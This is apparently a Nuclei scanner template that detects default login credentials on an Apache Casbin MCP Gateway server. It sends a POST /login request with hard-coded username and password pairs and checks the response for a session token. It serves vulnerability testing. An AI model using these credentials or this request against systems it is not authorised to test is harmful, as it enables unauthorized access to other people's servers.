apache-casbin-mcp-gateway-default-login: Apache Casbin MCP Gateway - Default Login

id: apache-casbin-mcp-gateway-default-login

info:
  name: Apache Casbin MCP Gateway - Default Login
  author: icarot
  severity: high
  description: |
    Apache Casbin MCP Gateway server default login credentials were discovered.
  reference:
    - https://github.com/apache/casbin-mcp-gateway
  metadata:
    max-request: 2
    vendor: apache
    product: casbin-mcp-gateway
  tags: apache,casbin-mcp-gateway,default-login

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - alice
        - bob
      password:
        - password123
        - password456

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - '"token":'
          - '"user":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022071f13bac2989a38518e31d3cb0af6f25d66e517dcd71c36db89305d98e3dfd71022100ec4eb4c633cdf250fc8ada4a26bc7048701f4cd02ce7b7fc456fddf1cff20cf3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.